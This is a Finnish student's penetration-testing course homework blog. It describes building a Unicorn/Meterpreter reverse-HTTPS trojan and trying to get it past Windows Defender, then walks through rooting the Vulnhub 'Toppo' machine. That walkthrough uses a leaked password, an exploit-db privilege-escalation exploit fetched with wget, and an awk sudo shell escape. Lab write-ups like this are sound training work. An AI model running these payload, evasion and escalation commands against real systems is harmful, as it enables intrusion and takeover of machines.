Tunkeutumistestaus – h7

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

h7

a) Tee troijalainen Unicornilla ohjeen mukaan.

Viime kerralla tuntui, että kaikilla oli suuria ongelmia Defenderin ohittamisessa, mutta Tatu Erkinjuntti sai tiedostonsa läpi Unicornia käyttämällä. Koitetaan toistaa Tatun askeleet:

http://www.erkinjuntti.eu/studies/penetration-testing-course/exercise-6/

Tatu on käyttänyt omassa testissään VLCtä, mutta valitsen itse vaikka Notepad++ asennettavaksi ohjelmaksi.

Ladataan Unicorn GitHubista:

$ git clone https://github.com/trustedsec/unicorn.git

ja tehdään haitallinen tiedosto:

$ ./unicorn.py windows/meterpreter/reverse_https 192.168.10.46 443

Jossa ip-osoite on se, mihin meterpreter shell avataan ja 443 portti.

Siirsin luodun .txt tiedoston emuloidulle Windows 10 koneelle, eikä Defender ainakaan tässä vaiheessa huomannut tiedostossa mitään epäilyttävää.

Katsotaan toimiiko hyökkäys ennen asennustiedoston pakkaamista, avataan portti kuuntelua varten:

$ msfconsole -r /home/user/Documents/unicorn.rc

Ja tämän jälkeen ajetaan .bat tiedosto windowsin puolella, mutta mitään ei tapahdukaan. Yritin avata portit mutta silti mitään ei tapahdu. Yllätyksekseni huomasin, että Defender onkin saanut tiedostosta kiinni. Eli Unicorn ei siis toimi.

Sallin .batin Defenderistä, jolloin Meterpreter yhteys aukeaa hetkeksi, mutta Defender huomaa senkin, ja sulkee yhteyden hetken kuluttua.

Unicornilla ei siis saa tiedostoja läpi Defenderistä, ainakaan joka kerta. Vaikka tiedoston saisi ajettua Defenderin huomaamatta, huomaa se kuitenkin heuristiikan kautta, että kyseessä on Meterpreter.

 

b) Asenna oma, itsellesi uusi harjoitusmaali. Voit hakea maalikoneen Vulnhubista. Murtaudu koneelle, katso walktroughsta vinkki, jos jäät jumiin.

Valitsin Vulnhubista helpon koneen, Toppon:

https://www.vulnhub.com/entry/toppo-1,245/

Nmapin kautta löytyy seuraavat portit:

22/tcp ssh

80/tcp http

111/tcp rpcbind

42789/tcp luultavasti myös rpc?

Niktolla löytyi kiinnostavat hakemistot /contact ja /admin. Admin sisältää notes.txt tiedoston, jonka sisältä löytyy salasana 12345ted123.

Käyttäjiä voisi käsittääkseni yrittää selvittää rpc:n kautta, mutten saanut rpcinfon kautta ulos oikeastaan mitään.

Rpcinfo vaati toimiakseen seuraavat paketit: rpcbind ja nfs-common.

 

Nettisivuilta ei myöskään löydy mitään vinkkejä käyttäjänimistä, root ja admin eivät päästä sisään salasanalla. Vilkuillaan varovasti pari askelta eteenpäin:

https://medium.com/@D00MFist/vulnhub-toppo-d5572d3b3e47

Oppaasta selviää, että Ted on käypä käyttäjänimi, joka olisi pitänyt tajuta salasanasta.

Selvitetään käyttöjärjestelmä:

$ cat /etc/os-release

 

Selviää, että laitteessa on Debian 8.0 vuodelta 2015. Siispä haetaan privilege escalationia vanhan Debianin kautta:

https://www.exploit-db.com/exploits/44302/

Käänsin koodin komennolla:

$ gcc -o exploit 44302.c -lpthread

Jonka jälkeen siirsin exploitin kotikansion public_html kansioon, asetin apachen ja kotikansiot käyttöön Kalikoneelle, josta Tedinä latasin tiedoston wgetillä.

Tiedoston ajo komennolla

$ ./exploit

ei kuitenkaan toimi, ilmeisesti järjestelmän väärän bittisyyden vuoksi.

$ cat /etc/passwd 

komennolla näemme käyttäjät, voimme varmistua siitä, että koneella ei ole muuta jännää käyttäjää kuin root.

$ cat /etc/sudoers

komennolla näemme, ketkä saavat käyttää sudoa tai muita komentoja. Tämä herätti kiinnostuksen, koska Debian väittää, ettei se tunnista sudoa komennoksi jos sitä yritetään ajaa.

Tedillä on oikeus ajaa awk komentoa, joten selvitellään, että mikä se edes on:

https://en.wikipedia.org/wiki/AWK

AWK on siis käsittääkseni ohjelmointikieli, jota käytetään tekstinkäsittelyyn.

Etsitään josko AWKin kautta saisi laajennettua oikeuksia:

https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html

Sivulta löytyvän ohjeen mukaan rimpsu

$ awk ’BEGIN {system(“/bin/bash”)}’

pitäisi avata shelli, minkä se oikeastaan tekeekin, mutta edelleen Tedin oikeuksilla:

Pienen kaivelun jälkeen löytyi vähän parempi postaus:

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

Sivulla on rimpsusta hiukan eri versio:

$ awk ‘BEGIN {system(“/bin/sh”)}’

jolla saa rootin onnistuneesti. En osaa sanoa, miksi bashilla ja sh:lla on tässä tilanteessa jokin ero, mutta ilmeisesti on.

 

c) Google Project Zero. Löydätkö tekniikoita, joita voi hyödyntää pentestissä?

 

Project Zeron haavoittuvuudet menevät aika kovaa oman osaamistason yli siinä määrin, että en edes täysin ymmärrä kaikkea mitä luen, mutta valkataan muutama mitkä vaikuttaisi kiinnostavilta.

 

https://googleprojectzero.blogspot.com/2017/02/attacking-windows-nvidia-driver.html

Nvidian ajureiden haavoittuvuudet ovat siinä mielessä melko läheisiä, että Nvidialla tuntuu tällä hetkellä olevan lähes kiistatta vahvin asema näytönohjainmarkkinoilla ainakin kuluttajapuolella. Artikkelissa puhutaan siitä, että ajurit on huolimattomasti kirjoitettu eikä virheisiin ole kiinnitetty huomiota ennen Nvidialle on suoraan näytetty, mikä mättää.

Hyökkääjän näkökulmasta kiinnostavaa on, että artikkelin kautta löytyy yksi Proof of Concepti minkä kautta on mahdollista eskaloida oikeuksia. Tässä vaiheessa luultavasti korostuu tietojenkeruun tärkeys, jos kohteella tiedetään olevan jokin tietty näytönohjain tai mikä tahansa muu laite, on kyseisen laitteen ajurit hyvä tarkastaa. Etenkin jos laitteessa on haavoittuvuus ja hardware tasolla.

 

https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html

Toinen artikkeli kertoo Meltdownista ja Spectrestä, joiden kautta voidaan siis päästä käsiin muistiin, mihin ei pitäisi päästä, prosessorien tehtäväennakointien takia. Ei siitä sen enempää, aikaisemmassa tehtäväpalautuksessa on enemmän.

 

 

https://googleprojectzero.blogspot.com/2015/08/one-font-vulnerability-to-rule-them-all_21.html

Kolmas artikkeli kertoo Windows 8.1 haavoittuvuudesta, jolla päästään ulos ilmeisesti Adobe Readerin luomasta ”hiekkalaatikosta” eli eristetystä prosessista. Artikkeli on tosin aika vaativa, enkä ymmärrä ihan kaikkea, mutta lopputulos on ainakin se, että yhden .pdf tiedoston avaaminen mahdollistaa jonkin ohjelman avaamisen korotetuilla oikeuksilla. Tässä tapauksessa ohjelmana on käytetty laskinta, mutta teoriassa mikä tahansa on mahdollista.

This entry was posted in Uncategorised. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.